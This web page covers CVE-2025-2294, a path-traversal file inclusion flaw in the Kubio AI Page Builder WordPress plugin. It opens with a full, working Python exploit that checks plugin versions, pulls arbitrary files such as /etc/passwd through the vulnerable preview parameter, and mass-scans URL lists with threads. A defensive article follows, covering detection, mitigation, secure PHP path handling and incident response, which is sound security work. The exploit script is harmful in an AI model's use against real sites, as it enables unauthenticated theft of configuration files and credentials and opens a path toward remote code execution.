Kubio AI Page Builder 2.5.1 - Local File Inclusion (LFI)

Exploit Author: 4m3rr0r Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-05
# Exploit Title: Kubio AI Page Builder <= 2.5.1 - Local File Inclusion (LFI)
# Date: 2025-04-04
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://wordpress.org/plugins/kubio/
# Software Link: https://downloads.wordpress.org/plugin/kubio.2.5.1.zip
# Reference: https://www.cve.org/CVERecord?id=CVE-2025-2294
# Version: <= 2.5.1
# Tested on: WordPress 6.4.2 (Ubuntu 22.04 LTS)
# CVE: CVE-2025-2294

"""
Description:

The Kubio AI Page Builder plugin for WordPress contains a Local File Inclusion vulnerability
in the `kubio_hybrid_theme_load_template` function. This allows unauthenticated attackers to
read arbitrary files via path traversal. Can lead to RCE when combined with file upload capabilities.
"""

import argparse
import re
import requests
from urllib.parse import urljoin
from concurrent.futures import ThreadPoolExecutor

class Colors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def parse_version(version_str):
    parts = list(map(int, version_str.split('.')))
    while len(parts) < 3:
        parts.append(0)
    return tuple(parts[:3])

def check_plugin_version(target_url):
    readme_url = urljoin(target_url, 'wp-content/plugins/kubio/readme.txt')
    try:
        response = requests.get(readme_url, timeout=10)
        if response.status_code == 200:
            version_match = re.search(r'Stable tag:\s*([\d.]+)', response.text, re.I)
            if not version_match:
                return False, "Version not found"
            version_str = version_match.group(1).strip()
            try:
                parsed_version = parse_version(version_str)
            except ValueError:
                return False, f"Invalid version format: {version_str}"
            return parsed_version <= (2, 5, 1), version_str
        return False, f"HTTP Error {response.status_code}"
    except Exception as e:
        return False, f"Connection error: {str(e)}"

def exploit_vulnerability(target_url, file_path, show_content=False):
    exploit_url = f"{target_url}/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template={file_path}"
    try:
        response = requests.get(exploit_url, timeout=10)
        if response.status_code == 200:
            if show_content:
                print(f"\n{Colors.OKGREEN}[+] File content from {target_url}:{Colors.ENDC}")
                print(Colors.OKBLUE + response.text + Colors.ENDC)
            return True
        return False
    except Exception as e:
        return False

def process_url(url, file_path, show_content, output_file):
    print(f"{Colors.HEADER}[*] Checking: {url}{Colors.ENDC}")
    is_vuln, version_info = check_plugin_version(url)
    
    if is_vuln:
        print(f"{Colors.OKGREEN}[+] Vulnerable: {url} (Version: {version_info}){Colors.ENDC}")
        exploit_success = exploit_vulnerability(url, file_path, show_content)
        if output_file and exploit_success:
            with open(output_file, 'a') as f:
                f.write(f"{url}\n")
        return url if exploit_success else None
    else:
        print(f"{Colors.FAIL}[-] Not vulnerable: {url} ({version_info}){Colors.ENDC}")
        return None

def main():
    parser = argparse.ArgumentParser(description="Kubio Plugin Vulnerability Scanner")
    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument("-u", "--url", help="Single target URL (always shows file content)")
    group.add_argument("-l", "--list", help="File containing list of URLs")
    parser.add_argument("-f", "--file", default="../../../../../../../../etc/passwd",
                      help="File path to exploit (default: ../../../../../../../../etc/passwd)")
    parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")
    parser.add_argument("-v", "--verbose", action="store_true", 
                      help="Show file contents when using -l/--list mode")
    parser.add_argument("-t", "--threads", type=int, default=5, 
                      help="Number of concurrent threads for list mode")
    
    args = parser.parse_args()

    # Determine operation mode
    if args.url:
        # Single URL mode - always show content
        process_url(args.url, args.file, show_content=True, output_file=args.output)
    elif args.list:
        # List mode - handle multiple URLs
        with open(args.list, 'r') as f:
            urls = [line.strip() for line in f.readlines() if line.strip()]

        print(f"{Colors.BOLD}[*] Starting scan with {len(urls)} targets...{Colors.ENDC}")

        with ThreadPoolExecutor(max_workers=args.threads) as executor:
            futures = []
            for url in urls:
                futures.append(
                    executor.submit(
                        process_url,
                        url,
                        args.file,
                        args.verbose,
                        args.output
                    )
                )

            vulnerable_urls = [future.result() for future in futures if future.result()]

        print(f"\n{Colors.BOLD}[*] Scan complete!{Colors.ENDC}")
        print(f"{Colors.OKGREEN}[+] Total vulnerable URLs found: {len(vulnerable_urls)}{Colors.ENDC}")
        if args.output:
            print(f"{Colors.OKBLUE}[+] Vulnerable URLs saved to: {args.output}{Colors.ENDC}")

if __name__ == "__main__":
    main()


Kubio AI Page Builder (<= 2.5.1) — Local File Inclusion (CVE-2025-2294)

This article analyzes the Local File Inclusion (LFI) vulnerability reported in the Kubio AI Page Builder WordPress plugin (CVE-2025-2294). It explains what LFI is, why this specific issue matters, how to detect and mitigate it, and practical defensive code patterns and operational controls to reduce risk. The guidance focuses on remediation and detection; it intentionally avoids step‑by‑step attack recipes.

Summary & Context

  • Vulnerability type: Local File Inclusion (LFI) — path traversal leading to arbitrary local file read.
  • Affected versions: Kubio plugin versions up to and including 2.5.1 (per public advisories).
  • CVE: CVE-2025-2294
  • Impact: Confidentiality loss (read arbitrary local files). When combined with unrestricted file upload or other chaining techniques, can escalate to remote code execution (RCE).
  • Risk level: High — plugin runs in the context of the webserver/PHP process and can expose sensitive files such as configuration, credentials, and keys.

What is Local File Inclusion (LFI)?

LFI occurs when an application accepts unsanitized user input and uses it to build file paths that are later included, read, or delivered to the client. Path traversal sequences (e.g., "../") allow attackers to step outside the intended directory and access arbitrary filesystem locations that the PHP/web process can read.

Why this vulnerability matters

  • Unauthenticated access: public-facing plugins that accept URL parameters increase exposure because an attacker does not need credentials.
  • Sensitive files at risk: configuration files (wp-config.php), logs, environment files, or private keys can be read.
  • Chaining risk: if the server accepts file uploads or writes user-controlled files, LFI can be chained into local file inclusion of uploaded web shells (leading to RCE).
  • Wide footprint: WordPress sites commonly host many plugins and themes; widely used plugins create a larger attack surface across many sites.

Indicators of Compromise and Detection

  • Web server logs showing requests that include path traversal patterns (e.g., multiple "../" segments) or unexpected parameter names with dot/slash sequences.
  • Unusual 200 responses for requests that normally would return 404 or redirect — particularly if responses contain cleartext configuration snippets, error messages, or file contents.
  • Presence of recently modified or strange files in upload directories (wp-content/uploads) — uploaded files with PHP content are a sign of attempted chaining to RCE.
  • Intrusion detection rules firing for patterns like "attempted path traversal" or suspicious query string payloads.
  • Change in plugin files on disk — checksums not matching known-good versions.

Immediate Mitigations (short term)

  • Update: upgrade the Kubio plugin to the latest vendor-supplied version immediately. The vendor advisory and CVE indicate versions up to 2.5.1 are affected — installing the patched release eliminates this vector.
  • Disable or deactivate the plugin temporarily if an immediate patch is not available or if you need time to audit the site.
  • Apply WAF rules: block requests containing path traversal patterns (../) or suspicious parameter values, and mitigate by rate‑limiting suspicious endpoints.
  • Restrict file read access: ensure the web server user has minimal filesystem privileges (principle of least privilege) — avoid granting read access to sensitive directories where possible.
  • Audit uploads: temporarily disable public file uploads or enforce strict whitelists for allowed file types and server-side content checks.

Recommended Remediation: Secure Input Handling

Fixes should validate and constrain any file path input server-side, ideally using an allowlist (explicit set of allowed templates) and canonical path checks to ensure the resolved filesystem path remains inside an intended directory. The following defensive PHP pattern demonstrates these principles.

<?php
// Defensive template include pattern (illustrative, not an exploit)
/**
 * Parameters should be sanitized and checked against an allowlist.
 * Ensure the resolved path is inside the intended templates directory.
 */
$raw = isset($_GET['tpl']) ? sanitize_text_field($_GET['tpl']) : 'default.tpl';

// Example allowlist - prefer this to arbitrary names
$allowed_templates = array(
  'default.tpl',
  'landing.tpl',
  'header.tpl',
);

// Normalize and validate name
$tmpl_name = basename($raw);                 // remove directory components
if (! in_array($tmpl_name, $allowed_templates, true)) {
    wp_die('Invalid template selection', 403);
}

// Build full path and canonicalize
$templates_dir = wp_normalize_path( plugin_dir_path( __FILE__ ) . 'templates/' );
$target_path = wp_normalize_path( realpath( $templates_dir . $tmpl_name ) ?: '' );

// Ensure realpath succeeded and that the target is within templates_dir
if (empty($target_path) || strpos($target_path, $templates_dir) !== 0) {
    wp_die('Access denied', 403);
}

// Safe to include or read
include $target_path;
?>

Explanation:

  • Use an explicit allowlist of permitted template names instead of allowing arbitrary filenames. This prevents attackers from guessing or traversing to sensitive files.
  • Apply basename() or sanitize_file_name to strip directory traversal components.
  • Use realpath() and compare it to a canonical base directory (normalized with wp_normalize_path) to ensure the resolved path is inside the expected directory.
  • Reject the request early with an HTTP 403 if checks fail instead of attempting to serve or include the file.

Server Hardening and Configuration Controls

  • Disable PHP execution in directories used for uploads: e.g., with webserver configuration deny executing PHP in wp-content/uploads.
  • Harden file permissions: config files like wp-config.php should be readable only by the webserver as necessary and ideally not world readable.
  • Use a WAF or managed security service to block common traversal patterns and anomaly activity (especially important for known vulnerable plugin endpoints while patches are being applied).
  • Limit plugin and admin access to trusted IP ranges when practical (restrict access to administrative endpoints).

Detection Scripts & Scanning (Defensive)

Automated scanners can help identify sites running vulnerable plugin versions (by reading plugin metadata such as readme.txt or plugin headers). Use reputable vulnerability scanners or your organization’s asset management tooling. Avoid performing intrusive probes against third‑party sites without authorization.

Incident Response Checklist

  • If compromise is suspected, take the site offline or set it to maintenance mode to prevent further exploitation while you investigate.
  • Identify and preserve logs for the affected period (web server, application, and WAF logs).
  • Search for unusual files (web shell indicators), recently modified PHP files, or unexpected cron jobs and scheduled tasks.
  • Rotate credentials and API keys stored on the server if you suspect disclosure (database credentials, cloud credentials, etc.).
  • Restore from a known-good backup if integrity of code or content cannot be confirmed; then patch and harden before bringing service back online.
  • Consider a full forensic review if sensitive data exposure or persistent access is suspected.

Best Practices for WordPress Plugin Security

  • Keep WordPress core, themes, and plugins up to date; apply security patches promptly.
  • Use least privilege for web server users and filesystem permissions.
  • Prefer plugins from reputable sources and monitor vendor advisories for updates and CVEs.
  • Employ runtime protections (WAF, web application security scanners, and integrity monitoring).
  • Implement secure coding practices: validate all user input, use allowlists, canonicalize paths, and avoid including files based on unsanitized user input.

Quick Reference Table

ItemDetails
CVECVE-2025-2294
AffectedKubio plugin <= 2.5.1
VulnerabilityLocal File Inclusion (path traversal) — unauthenticated
Primary RiskDisclosure of local files; potential RCE if combined with upload or other weaknesses
Primary MitigationUpgrade plugin to vendor-patched version; apply temporary WAF rules; restrict access

Final Notes

Addressing LFI vulnerabilities requires both immediate tactical actions (update, deactivate, apply WAF rules) and longer-term secure coding and operational controls. Where possible, prioritize patching to the vendor-released fix and combine that with monitoring and least-privilege configuration. If you operate multiple WordPress instances, use centralized management and automated patching or alerting to reduce exposure time.